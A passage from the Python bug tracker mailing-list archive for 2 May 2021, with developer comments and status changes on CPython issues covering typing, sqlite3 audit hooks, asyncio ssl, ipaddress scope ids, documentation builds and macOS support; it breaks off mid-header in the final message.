Date: Sun, 02 May 2021 20:14:33 +0000 Subject: [issue43990] In documentation Section 6.17, Operator precedence, footnotes 5 & 6 are reversed In-Reply-To: <1619804010.67.0.84044375696.issue43990@roundup.psfhosted.org> Message-ID: <1619986473.32.0.612018970464.issue43990@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset e60b1e150d708c40fa3c51d012d9bf471f04bc70 by Miss Islington (bot) in branch '3.9': bpo-43990: Fix the footnote ordering in the operator precedence docs (GH-25805) (GH-25819) https://github.com/python/cpython/commit/e60b1e150d708c40fa3c51d012d9bf471f04bc70 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:15:44 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 May 2021 20:15:44 +0000 Subject: [issue43990] In documentation Section 6.17, Operator precedence, footnotes 5 & 6 are reversed In-Reply-To: <1619804010.67.0.84044375696.issue43990@roundup.psfhosted.org> Message-ID: <1619986544.01.0.308732717965.issue43990@roundup.psfhosted.org> Raymond Hettinger added the comment: Webb, thanks for the report. Zackery, thanks for the PR. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:18:34 2021 From: report at bugs.python.org (Shantanu) Date: Sun, 02 May 2021 20:18:34 +0000 Subject: [issue38250] enum.Flag should be more set-like In-Reply-To: <1569150842.66.0.799345616323.issue38250@roundup.psfhosted.org> Message-ID: <1619986714.39.0.788406173026.issue38250@roundup.psfhosted.org> Change by Shantanu : ---------- nosy: +hauntsaninja nosy_count: 6.0 -> 7.0 pull_requests: +24506 pull_request: https://github.com/python/cpython/pull/25820 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:18:53 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 May 2021 20:18:53 +0000 Subject: [issue41411] Improve and consolidate f-strings docs In-Reply-To: <1595867493.01.0.94068638385.issue41411@roundup.psfhosted.org> Message-ID: <1619986733.24.0.753440032322.issue41411@roundup.psfhosted.org> Raymond Hettinger added the comment: Eric, do you want to approve and apply these PRs ? ---------- assignee: docs at python -> eric.smith nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:25:19 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 20:25:19 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1619987119.29.0.288605641028.issue28556@roundup.psfhosted.org> Jelle Zijlstra added the comment: Looks like this is no longer relevant. ---------- nosy: +Jelle Zijlstra resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:26:14 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 20:26:14 +0000 Subject: [issue32752] no information about accessing typing.Generic type arguments In-Reply-To: <1517612346.62.0.467229070634.issue32752@psf.upfronthosting.co.za> Message-ID: <1619987174.98.0.168161097095.issue32752@roundup.psfhosted.org> Jelle Zijlstra added the comment: We have typing.get_args() as of 3.8. ---------- nosy: +Jelle Zijlstra resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:26:41 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sun, 02 May 2021 20:26:41 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619987201.86.0.347860473802.issue43434@roundup.psfhosted.org> Erlend Egeberg Aasland added the comment: Steve, can we get this in before beta1 (bco. the bugfix)? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:32:56 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 20:32:56 +0000 Subject: [issue37923] Combining typing.get_type_hints and inspect.signature In-Reply-To: <1566539041.61.0.905400107157.issue37923@roundup.psfhosted.org> Message-ID: <1619987576.09.0.872463679312.issue37923@roundup.psfhosted.org> Jelle Zijlstra added the comment: As of Python 3.10, thanks to Larry Hastings inspect.signature will have a new eval_str= parameter that lets you evaluate string annotations. This isn't quite what you're asking for, though, because typing.get_type_hints does more work than eval_str does. Still, it's similar enough that I'm inclined to close this issue. ---------- nosy: +Jelle Zijlstra, larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:33:40 2021 From: report at bugs.python.org (Andrew Svetlov) Date: Sun, 02 May 2021 20:33:40 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop Message-ID: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> New submission from Andrew Svetlov : There is a PR created a long time ago. Finally, I've ported tests for it also. The documentation doesn't mention new ssh_shutdown_timeout parameter yet. The latest changes from https://github.com/MagicStack/uvloop/pull/385 can be applied separately. ---------- components: asyncio messages: 392726 nosy: asvetlov, yselivanov priority: normal severity: normal status: open title: Borrow asyncio ssl implementation from uvloop versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:34:03 2021 From: report at bugs.python.org (Andrew Svetlov) Date: Sun, 02 May 2021 20:34:03 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1619987643.99.0.0951996198852.issue44011@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- keywords: +patch pull_requests: +24507 stage: -> patch review pull_request: https://github.com/python/cpython/pull/17975 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:34:09 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 20:34:09 +0000 Subject: [issue40397] Refactor typing._GenericAlias In-Reply-To: <1587918915.07.0.818996162208.issue40397@roundup.psfhosted.org> Message-ID: <1619987649.49.0.492921994199.issue40397@roundup.psfhosted.org> Jelle Zijlstra added the comment: Looks like there's nothing left to do here. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:35:40 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 20:35:40 +0000 Subject: [issue34568] Types in `typing` not anymore instances of `type` or subclasses of "real" types In-Reply-To: <1535982454.49.0.56676864532.issue34568@psf.upfronthosting.co.za> Message-ID: <1619987739.99.0.00874031110532.issue34568@roundup.psfhosted.org> Jelle Zijlstra added the comment: More recent versions of typing have added some helper functions that could be useful here, like typing.get_origin and typing.get_args. I'm going to close this issue because I don't think there's anything actionable. ---------- nosy: +Jelle Zijlstra resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:36:57 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 20:36:57 +0000 Subject: [issue42001] Deprecate `typing.io` Wrapper Namespace In-Reply-To: <1602356571.41.0.0517302628029.issue42001@roundup.psfhosted.org> Message-ID: <1619987817.29.0.200585565776.issue42001@roundup.psfhosted.org> Jelle Zijlstra added the comment: Closing as a duplicate of https://bugs.python.org/issue38291 ---------- nosy: +Jelle Zijlstra resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:39:57 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 20:39:57 +0000 Subject: [issue38291] Deprecate the typing.io and typing.re pseudo-modules In-Reply-To: <1569584917.37.0.450943031305.issue38291@roundup.psfhosted.org> Message-ID: <1619987997.57.0.468181733925.issue38291@roundup.psfhosted.org> Jelle Zijlstra added the comment: The documentation (https://docs.python.org/3.10/library/typing.html#typing.BinaryIO) now mentions the typing.io and typing.re namespaces. I would prefer that they be deprecated and eventually completely removed. They don't work with most static type checkers. https://bugs.python.org/issue42001 makes the same points. ---------- nosy: +Jelle Zijlstra title: Unclear status of the typing.io and typing.re pseudo-modules in docs and runtime -> Deprecate the typing.io and typing.re pseudo-modules versions: +Python 3.10, Python 3.11 -Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:56:31 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 20:56:31 +0000 Subject: [issue38352] In typing docs, note explicit import needed for IO and Pattern/Match In-Reply-To: <1570041077.58.0.399304866649.issue38352@roundup.psfhosted.org> Message-ID: <1619988991.91.0.747400886786.issue38352@roundup.psfhosted.org> Jelle Zijlstra added the comment: It turns out that IO, TextIO, BinaryIO, Match, and Pattern aren't in typing.__all__. As Walter points out above, there's no clear reason for this. I am submitting a PR to add them to __all__. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:56:41 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 20:56:41 +0000 Subject: [issue38352] In typing docs, note explicit import needed for IO and Pattern/Match In-Reply-To: <1570041077.58.0.399304866649.issue38352@roundup.psfhosted.org> Message-ID: <1619989001.59.0.274062790715.issue38352@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +24508 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25821 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:03:47 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 02 May 2021 21:03:47 +0000 Subject: [issue43926] Clean metadata (importlib_metadata 4.0) In-Reply-To: <1619210744.46.0.218619498947.issue43926@roundup.psfhosted.org> Message-ID: <1619989427.56.0.982891320691.issue43926@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset 37e0c7850de902179b28f1378fbbc38a5ed3628c by Jason R. Coombs in branch 'master': bpo-43926: Cleaner metadata with PEP 566 JSON support. (GH-25565) https://github.com/python/cpython/commit/37e0c7850de902179b28f1378fbbc38a5ed3628c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:11:01 2021 From: report at bugs.python.org (Ammar Askar) Date: Sun, 02 May 2021 21:11:01 +0000 Subject: [issue44006] symbol documentation still exists In-Reply-To: <1619925800.83.0.907647536987.issue44006@roundup.psfhosted.org> Message-ID: <1619989861.16.0.645945090251.issue44006@roundup.psfhosted.org> Ammar Askar added the comment: Added Julien to the nosy list, looks like we might be retaining old deleted docs pages. ---------- nosy: +ammar2, mdk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:13:19 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 21:13:19 +0000 Subject: [issue41100] Support macOS 11 and Apple Silicon Macs In-Reply-To: <1592999467.1.0.372512113251.issue41100@roundup.psfhosted.org> Message-ID: <1619989999.66.0.936623004661.issue41100@roundup.psfhosted.org> Ned Deily added the comment: Thank you to everyone who contributed to this major undertaking! A particular thank you to Lawrence for doing much of the initial work and paving the way. Now that 3.8 also supports Big Sur and Apple Silicon Macs as of the imminent 3.8.10 release, it's time to close this issue. If new concerns arise, pleasa open or use other issues. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:25:25 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 21:25:25 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619990725.51.0.97333105762.issue43434@roundup.psfhosted.org> Steve Dower added the comment: New changeset c96cc089f60d2bf7e003c27413c3239ee9de2990 by Erlend Egeberg Aasland in branch 'master': bpo-43434: Move sqlite3.connect audit events to sqlite3.Connection.__init__ (GH-25818) https://github.com/python/cpython/commit/c96cc089f60d2bf7e003c27413c3239ee9de2990 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:25:47 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 21:25:47 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619990747.06.0.442198280152.issue43434@roundup.psfhosted.org> Steve Dower added the comment: We could get this one in after beta 1 anyway, but sure, it's in. The backports are going to have to be manual, I suspect... ---------- stage: patch review -> backport needed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:29:45 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sun, 02 May 2021 21:29:45 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619990985.51.0.345843707347.issue43434@roundup.psfhosted.org> Erlend Egeberg Aasland added the comment: Thanks! :) I'll fix the backports. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:32:35 2021 From: report at bugs.python.org (Julien Palard) Date: Sun, 02 May 2021 21:32:35 +0000 Subject: [issue44006] symbol documentation still exists In-Reply-To: <1619925800.83.0.907647536987.issue44006@roundup.psfhosted.org> Message-ID: <1619991155.72.0.459505469864.issue44006@roundup.psfhosted.org> Julien Palard added the comment: This is interesting! Also notice the footer: Last updated on Jul 26, 2020. I checked on the docsbuild server and found the `symbol.html` file was marked as modified today (probably by the build cron) (and it contains the "Last updated on Jul 26, 2020" string, yes). I think the explanation may be that Sphinx does not remove a file from the html output when it's rst counterpart is removed (which may be legitimate, Sphinx can't guess the rst was there before, so it can't distinguish if it's a human generated file that should be kept, or an old file to delete). There's however no links pointing to it (apart when switching version from 3.9 to 3.10 using the version switcher). I'm removing the files manually as is: docsbuild at docs:/srv/docsbuild/3.10$ rm cpython-*/Doc/build/html/library/symbol.html I'll let the daily cron update docs.python.org (to ensure it does the job). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:34:22 2021 From: report at bugs.python.org (Andrew Svetlov) Date: Sun, 02 May 2021 21:34:22 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1619991262.45.0.76915761918.issue44011@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 5fb06edbbb769561e245d0fe13002bab50e2ae60 by Andrew Svetlov in branch 'master': bpo-44011: New asyncio ssl implementation (#17975) https://github.com/python/cpython/commit/5fb06edbbb769561e245d0fe13002bab50e2ae60 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:43:48 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sun, 02 May 2021 21:43:48 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619991828.98.0.226488166418.issue43434@roundup.psfhosted.org> Change by Erlend Egeberg Aasland : ---------- pull_requests: +24509 stage: backport needed -> patch review pull_request: https://github.com/python/cpython/pull/25822 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:46:44 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sun, 02 May 2021 21:46:44 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619992004.42.0.032761676727.issue43434@roundup.psfhosted.org> Change by Erlend Egeberg Aasland : ---------- pull_requests: +24510 pull_request: https://github.com/python/cpython/pull/25823 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 17:47:15 2021 From: report at bugs.python.org (Oliver Giles) Date: Sun, 02 May 2021 21:47:15 +0000 Subject: [issue44012] IPv6Address.exploded does not support interface name (scope id) Message-ID: <1619992035.49.0.377506474729.issue44012@roundup.psfhosted.org> New submission from Oliver Giles : IPv6 addresses may contain a scope id, for example "fe80::1%eth0". These are usually required for link-local addresses. bpo-34788 added support for scoped IPv6 addresses, but missed the "exploded" method: >>> import ipaddress >>> ipaddress.IPv6Address('fe80::1%eth0').exploded Traceback (most recent call last): File "", line 1, in File "/usr/lib/python3.9/ipaddress.py", line 394, in exploded return self._explode_shorthand_ip_string() File "/usr/lib/python3.9/ipaddress.py", line 1824, in _explode_shorthand_ip_string ip_int = self._ip_int_from_string(ip_str) File "/usr/lib/python3.9/ipaddress.py", line 1705, in _ip_int_from_string raise AddressValueError("%s in %r" % (exc, ip_str)) from None ipaddress.AddressValueError: Only hex digits permitted in '1%eth0' in 'fe80::1%eth0' ---------- components: Library (Lib) messages: 392740 nosy: ohwgiles priority: normal severity: normal status: open title: IPv6Address.exploded does not support interface name (scope id) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:00:23 2021 From: report at bugs.python.org (Oliver Giles) Date: Sun, 02 May 2021 22:00:23 +0000 Subject: [issue34788] ipaddress module fails on rfc4007 scoped IPv6 addresses In-Reply-To: <1537799403.03.0.956365154283.issue34788@psf.upfronthosting.co.za> Message-ID: <1619992823.36.0.104854959083.issue34788@roundup.psfhosted.org> Change by Oliver Giles : ---------- nosy: +ohwgiles nosy_count: 10.0 -> 11.0 pull_requests: +24512 pull_request: https://github.com/python/cpython/pull/25824 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:00:23 2021 From: report at bugs.python.org (Oliver Giles) Date: Sun, 02 May 2021 22:00:23 +0000 Subject: [issue44012] IPv6Address.exploded does not support interface name (scope id) In-Reply-To: <1619992035.49.0.377506474729.issue44012@roundup.psfhosted.org> Message-ID: <1619992823.22.0.910568933825.issue44012@roundup.psfhosted.org> Change by Oliver Giles : ---------- keywords: +patch pull_requests: +24511 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25824 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:01:04 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 22:01:04 +0000 Subject: [issue43983] Can't install Python v3.9.4 / 0x80070643 / windows 10 64bit In-Reply-To: <1619754997.92.0.813433762257.issue43983@roundup.psfhosted.org> Message-ID: <1619992864.16.0.196479508936.issue43983@roundup.psfhosted.org> Steve Dower added the comment: This is the full error message (and sorry I just saw that you put it on pastebin in the first post). MSI (s) (18:04) [13:13:04:342]: SECREPAIR: Hash Database: C:\Windows\Installer\SourceHash{1C17C2CE-B315-4C1C-885A-E37181C7368E} MSI (s) (18:04) [13:13:04:342]: Note: 1: 2203 2: C:\Windows\Installer\SourceHash{1C17C2CE-B315-4C1C-885A-E37181C7368E} 3: -2147023504 MSI (s) (18:04) [13:13:04:342]: SECREPAIR: Error in CreateDatabase for write MSI (s) (18:04) [13:13:04:342]: SECUREREPAIR: SecureRepair Failed. Error code: 89b55C5DDD8 This file isn't ours, so there's nothing we can do. You could try running some of the builtin troubleshooters, or perhaps the "sfc /scannow" command (in an elevated prompt) might help. It's possible that you have an aggressive antivirus or admin policy that you may be able to disable. Otherwise, for a corrupt install database, I'd guess you're looking at a Windows reset/reinstall. If you have any success, please let us know what worked. If it turns out to be something within our control, we can try and make a change, but I suspect it'll just be handy to know for next time someone hits an issue like this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:04:32 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 22:04:32 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619993072.16.0.546060732283.issue43434@roundup.psfhosted.org> Steve Dower added the comment: Thanks, Erlend! Appreciate how quickly you got onto that, and the quality of your work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:11:01 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 22:11:01 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619993461.36.0.185720208819.issue43434@roundup.psfhosted.org> Steve Dower added the comment: New changeset cbb7b9ed4a6069a2cb2e2f809926c2cfa332a493 by Erlend Egeberg Aasland in branch 'master': bpo-43434: Clean up sqlite3.connect() after GH-25818 (GH-25823) https://github.com/python/cpython/commit/cbb7b9ed4a6069a2cb2e2f809926c2cfa332a493 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:16:48 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 22:16:48 +0000 Subject: [issue43490] IDLE freezes at random In-Reply-To: <1615684694.01.0.00673865405837.issue43490@roundup.psfhosted.org> Message-ID: <1619993808.89.0.0315485985382.issue43490@roundup.psfhosted.org> Ned Deily added the comment: Without more information and a way to reproduce the behavior, there is little we can do to help here. If the problem persists, please re-open with more information, in particular a copy of the Python version information from the IDLE shell you are using to run the turtle module, i.e.: Python 3.9.4 (v3.9.4:1f2e3088f3, Apr 4 2021, 12:19:19) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin ---------- resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:19:01 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sun, 02 May 2021 22:19:01 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619993941.78.0.504817604737.issue43434@roundup.psfhosted.org> Change by Erlend Egeberg Aasland : ---------- pull_requests: +24513 pull_request: https://github.com/python/cpython/pull/25825 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:29:18 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sun, 02 May 2021 22:29:18 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619994558.63.0.440601267901.issue43434@roundup.psfhosted.org> Erlend Egeberg Aasland added the comment: Thanks, Steve, that means a lot! Glad to help. Thank you for getting it into beta1. Having the new event out there with the wrong object passed to it would have been a tiny bit embarrassing :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:33:35 2021 From: report at bugs.python.org (Xiang Zhong) Date: Sun, 02 May 2021 22:33:35 +0000 Subject: [issue44013] tempfile.TemporaryFile: name of file descriptor cannot be reused in consecutive initialization Message-ID: <1619994815.29.0.724748719135.issue44013@roundup.psfhosted.org> New submission from Xiang Zhong : The variable of instance cannot be reused in two consecutive codes chunk combinations. Please check the difference in attached file, xtempfile.py, function: test_3 & test_4. However, surprisingly, the problem can be fixed in test_5 and test_6. Which may be helpful for debug: why does the value of "id(fd.name)" keep constant all the time inside those combinations? ---------- components: Library (Lib) files: xtempfile.py messages: 392746 nosy: zhongxiang117 priority: normal severity: normal status: open title: tempfile.TemporaryFile: name of file descriptor cannot be reused in consecutive initialization type: behavior versions: Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50004/xtempfile.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:35:06 2021 From: report at bugs.python.org (Brandt Bucher) Date: Sun, 02 May 2021 22:35:06 +0000 Subject: [issue43977] Implement the latest semantics for PEP 634 for matching collections In-Reply-To: <1619714021.85.0.37223153861.issue43977@roundup.psfhosted.org> Message-ID: <1619994906.64.0.312437814705.issue43977@roundup.psfhosted.org> Brandt Bucher added the comment: New changeset 9387fac100db359cbb6ec2a76f8a5eba8f9d7b65 by Brandt Bucher in branch 'master': bpo-43977: Document the new pattern matching type flags (GH-25734) https://github.com/python/cpython/commit/9387fac100db359cbb6ec2a76f8a5eba8f9d7b65 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:43:09 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 22:43:09 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619995389.67.0.976689619446.issue43434@roundup.psfhosted.org> Steve Dower added the comment: New changeset ad73d1657ca3591b1dd1d15bb80ce83ca7fc3223 by Erlend Egeberg Aasland in branch '3.9': bpo-43434: Move sqlite3.connect audit event to sqlite3.Connection.__init__ (GH-25818) https://github.com/python/cpython/commit/ad73d1657ca3591b1dd1d15bb80ce83ca7fc3223 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:43:29 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 02 May 2021 22:43:29 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619995409.9.0.439894456068.issue43434@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24514 pull_request: https://github.com/python/cpython/pull/25826 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:55:36 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 22:55:36 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619996136.44.0.784824510092.issue43434@roundup.psfhosted.org> Steve Dower added the comment: New changeset 10665ac37313560fe87460cf4a5c26677049bf62 by Erlend Egeberg Aasland in branch '3.8': bpo-43434: Move sqlite3.connect audit events to sqlite3.Connection.__init__ (GH-25818) https://github.com/python/cpython/commit/10665ac37313560fe87460cf4a5c26677049bf62 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 18:56:58 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 22:56:58 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619996218.16.0.0822983177679.issue43434@roundup.psfhosted.org> Change by Steve Dower : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 19:38:31 2021 From: report at bugs.python.org (Mark Shannon) Date: Sun, 02 May 2021 23:38:31 +0000 Subject: [issue43977] Implement the latest semantics for PEP 634 for matching collections In-Reply-To: <1619714021.85.0.37223153861.issue43977@roundup.psfhosted.org> Message-ID: <1619998711.51.0.552439613955.issue43977@roundup.psfhosted.org> Mark Shannon added the comment: New changeset 33ec88ac81f23668293d101b83367b086c795e5e by Mark Shannon in branch 'master': bpo-43977: Make sure that tp_flags for pattern matching are inherited correctly. (GH-25813) https://github.com/python/cpython/commit/33ec88ac81f23668293d101b83367b086c795e5e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 19:39:01 2021 From: report at bugs.python.org (Mark Shannon) Date: Sun, 02 May 2021 23:39:01 +0000 Subject: [issue43977] Implement the latest semantics for PEP 634 for matching collections In-Reply-To: <1619714021.85.0.37223153861.issue43977@roundup.psfhosted.org> Message-ID: <1619998741.01.0.728210147593.issue43977@roundup.psfhosted.org> Change by Mark Shannon : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 19:53:26 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 23:53:26 +0000 Subject: [issue43568] Drop support for Mac OS X < 10.3 module linking In-Reply-To: <1616245702.65.0.278864424752.issue43568@roundup.psfhosted.org> Message-ID: <1619999606.7.0.373857077422.issue43568@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: +24515 pull_request: https://github.com/python/cpython/pull/25827 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 20:28:50 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 00:28:50 +0000 Subject: [issue43568] Drop support for Mac OS X < 10.3 module linking In-Reply-To: <1616245702.65.0.278864424752.issue43568@roundup.psfhosted.org> Message-ID: <1620001730.9.0.00210640891362.issue43568@roundup.psfhosted.org> Ned Deily added the comment: New changeset 870317825822c856490a32eee037fec8057690b1 by Ned Deily in branch 'master': bpo-43568: Drop support for MACOSX_DEPLOYMENT_TARGET < 10.3 (GH-25827) https://github.com/python/cpython/commit/870317825822c856490a32eee037fec8057690b1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 20:32:09 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 00:32:09 +0000 Subject: [issue43568] Drop support for Mac OS X < 10.3 module linking In-Reply-To: <1616245702.65.0.278864424752.issue43568@roundup.psfhosted.org> Message-ID: <1620001929.31.0.233180364082.issue43568@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the PR! I updated it using the slightly different different changes in https://github.com/pypa/distutils/pull/36 and it was just easier to open a new PR. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 20:37:42 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 00:37:42 +0000 Subject: [issue43851] Optimise SQLite builds on macOS and Windows In-Reply-To: 